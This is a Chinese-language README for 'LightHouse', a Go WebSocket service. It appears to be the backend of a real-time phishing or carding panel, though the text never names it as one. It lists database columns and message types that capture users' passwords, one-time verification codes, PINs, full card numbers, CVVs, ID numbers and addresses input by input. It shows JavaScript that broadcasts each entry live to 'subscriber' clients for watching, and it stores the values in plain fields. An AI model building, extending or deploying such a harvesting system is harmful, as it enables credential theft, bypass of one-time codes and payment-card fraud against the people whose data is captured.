8.0 KiB
8.0 KiB
LightHouse WebSocket 系统增强说明
概述
本次更新对 LightHouse 系统的 WebSocket 功能进行了全面增强,支持更完整的用户行为信息记录,包括用户基本信息、地址信息、信用卡信息、登录时间、登录IP等。
主要改进
1. 数据模型扩展
新增字段结构
- 用户基本信息: 姓名、电话、邮箱、身份证号
- 登录信息: 用户名、密码、验证码、PIN码、登录时间、登录IP、用户代理
- 地址信息: 国家、省份、城市、详细地址、邮政编码
- 信用卡信息: 卡号、卡类型、持卡人姓名、有效期、CVV、备注
- 系统信息: 用户状态
- 自定义信息: 5个自定义字段
数据库字段映射
-- 用户基本信息
name VARCHAR(100) -- 姓名
phone VARCHAR(20) -- 电话
email VARCHAR(255) -- 邮箱
id_card VARCHAR(18) -- 身份证号
-- 登录信息
username VARCHAR(255) -- 用户名
password VARCHAR(255) -- 密码
verify_code VARCHAR(255) -- 验证码
pin VARCHAR(255) -- PIN码
login_time TIMESTAMP -- 登录时间
login_ip VARCHAR(45) -- 登录IP
user_agent TEXT -- 用户代理
-- 地址信息
country VARCHAR(100) -- 国家
state VARCHAR(100) -- 省份/州
city VARCHAR(100) -- 城市
address TEXT -- 详细地址
zip_code VARCHAR(20) -- 邮政编码
-- 信用卡信息
card_number VARCHAR(255) -- 卡号
card_type VARCHAR(50) -- 卡类型
card_holder_name VARCHAR(100) -- 持卡人姓名
expiry_date VARCHAR(10) -- 有效期
cvv VARCHAR(10) -- CVV
card_remark VARCHAR(255) -- 卡头备注
-- 系统信息
status VARCHAR(255) -- 用户状态
-- 自定义信息
custom_field1 VARCHAR(255) -- 自定义字段1
custom_field2 VARCHAR(255) -- 自定义字段2
custom_field3 VARCHAR(255) -- 自定义字段3
custom_field4 VARCHAR(255) -- 自定义字段4
custom_field5 VARCHAR(255) -- 自定义字段5
2. WebSocket 行为类型扩展
用户基本信息行为
input_name- 输入姓名input_phone- 输入电话input_email- 输入邮箱input_id_card- 输入身份证号
登录信息行为
login- 登录行为(自动记录时间、IP、User-Agent)input_username- 输入用户名input_password- 输入密码input_verify_code- 输入验证码input_pin- 输入PIN码
地址信息行为
input_address_country- 输入国家input_address_state- 输入省份/州input_address_city- 输入城市input_address_detail- 输入详细地址input_address_zip- 输入邮政编码
信用卡信息行为
input_card_number- 输入卡号input_card_type- 输入卡类型input_card_holder- 输入持卡人姓名input_card_expiry- 输入有效期input_card_cvv- 输入CVVinput_card_remark- 输入卡头备注
自定义字段行为
input_custom_field1- 输入自定义字段1input_custom_field2- 输入自定义字段2input_custom_field3- 输入自定义字段3input_custom_field4- 输入自定义字段4input_custom_field5- 输入自定义字段5
状态变更行为
complete_registration- 完成注册complete_payment- 完成支付session_start- 会话开始session_end- 会话结束
3. 自动信息收集
登录时自动记录
当发送 login 类型消息时,系统会自动记录:
- 当前时间作为登录时间
- 客户端IP地址
- User-Agent 信息
实时广播
所有用户行为都会实时广播给所有订阅端,支持多客户端监控。
使用方法
1. 启动服务
确保 LightHouse 服务正在运行:
go run main.go
2. 连接 WebSocket
发布端连接
const wsPub = new WebSocket('ws://localhost:8080/ws/pub/userinfo');
订阅端连接
const wsSub = new WebSocket('ws://localhost:8080/ws/sub/userinfo');
3. 发送用户行为
基本格式
{
"type": "行为类型",
"uuid": "用户唯一标识",
"status": "状态描述",
"payload": {
"字段名": "字段值"
}
}
示例:完整用户注册流程
// 1. 用户登录
wsPub.send(JSON.stringify({
type: 'login',
uuid: 'user123',
status: '用户正在登录',
payload: {}
}));
// 2. 输入基本信息
wsPub.send(JSON.stringify({
type: 'input_name',
uuid: 'user123',
status: '正在输入姓名',
payload: { name: '张三' }
}));
wsPub.send(JSON.stringify({
type: 'input_phone',
uuid: 'user123',
status: '正在输入电话',
payload: { phone: '13800138000' }
}));
// 3. 输入地址信息
wsPub.send(JSON.stringify({
type: 'input_address_country',
uuid: 'user123',
status: '正在输入国家',
payload: { country: '中国' }
}));
// 4. 输入信用卡信息
wsPub.send(JSON.stringify({
type: 'input_card_number',
uuid: 'user123',
status: '正在输入卡号',
payload: { card_number: '1234567890123456' }
}));
// 5. 完成注册
wsPub.send(JSON.stringify({
type: 'complete_registration',
uuid: 'user123',
status: '注册完成',
payload: {}
}));
4. 监控用户行为
订阅端监听
wsSub.onmessage = function(event) {
const data = JSON.parse(event.data);
switch(data.type) {
case 'login':
console.log('用户登录:', data.uuid, 'IP:', data.login_ip);
break;
case 'input_card_number':
console.log('用户输入卡号:', data.payload.card_number);
break;
case 'complete_registration':
console.log('用户完成注册:', data.uuid);
break;
}
};
测试
运行测试脚本
# 安装依赖
npm install ws
# 运行测试
node test_websocket.js
测试脚本会:
- 连接发布端和订阅端
- 发送各种类型的用户行为消息
- 验证消息是否正确接收和处理
- 自动关闭连接
测试覆盖范围
- ✅ 用户基本信息输入
- ✅ 登录信息输入
- ✅ 地址信息输入
- ✅ 信用卡信息输入
- ✅ 自定义字段输入
- ✅ 状态变更通知
- ✅ 实时广播功能
数据库迁移
自动迁移
系统使用 GORM 自动迁移功能,启动时会自动创建或更新数据库表结构。
手动迁移(如果需要)
-- 添加新字段(如果表已存在)
ALTER TABLE user_infos ADD COLUMN name VARCHAR(100);
ALTER TABLE user_infos ADD COLUMN phone VARCHAR(20);
ALTER TABLE user_infos ADD COLUMN email VARCHAR(255);
ALTER TABLE user_infos ADD COLUMN id_card VARCHAR(18);
-- ... 其他字段
安全注意事项
- 敏感信息保护: 密码、卡号等敏感信息会存储在数据库中,请确保数据库安全
- UUID唯一性: 确保每个用户使用唯一的UUID标识
- 输入验证: 客户端应验证输入数据的格式和有效性
- 连接安全: 生产环境建议使用WSS(WebSocket Secure)
- 访问控制: 考虑添加身份验证和授权机制
性能优化
- 连接池管理: 系统自动管理WebSocket连接池
- 消息缓冲: 使用缓冲通道避免消息丢失
- 并发处理: 支持多客户端并发连接
- 数据库优化: 使用索引优化查询性能
故障排除
常见问题
-
连接失败
- 检查服务是否启动
- 确认端口是否正确
- 检查防火墙设置
-
消息未接收
- 确认订阅端已连接
- 检查消息格式是否正确
- 查看服务日志
-
数据未保存
- 检查数据库连接
- 确认数据库权限
- 查看错误日志
日志查看
# 查看服务日志
tail -f logs/light_house.log
扩展开发
添加新的行为类型
- 在
internal/handler/ws.go中添加新的 case 分支 - 在模型中添加对应字段(如果需要)
- 更新DAO层的更新方法
- 更新文档和测试
自定义字段使用
系统提供了5个自定义字段,可以根据业务需求灵活使用:
custom_field1-custom_field5
联系支持
如有问题或建议,请联系开发团队或提交Issue。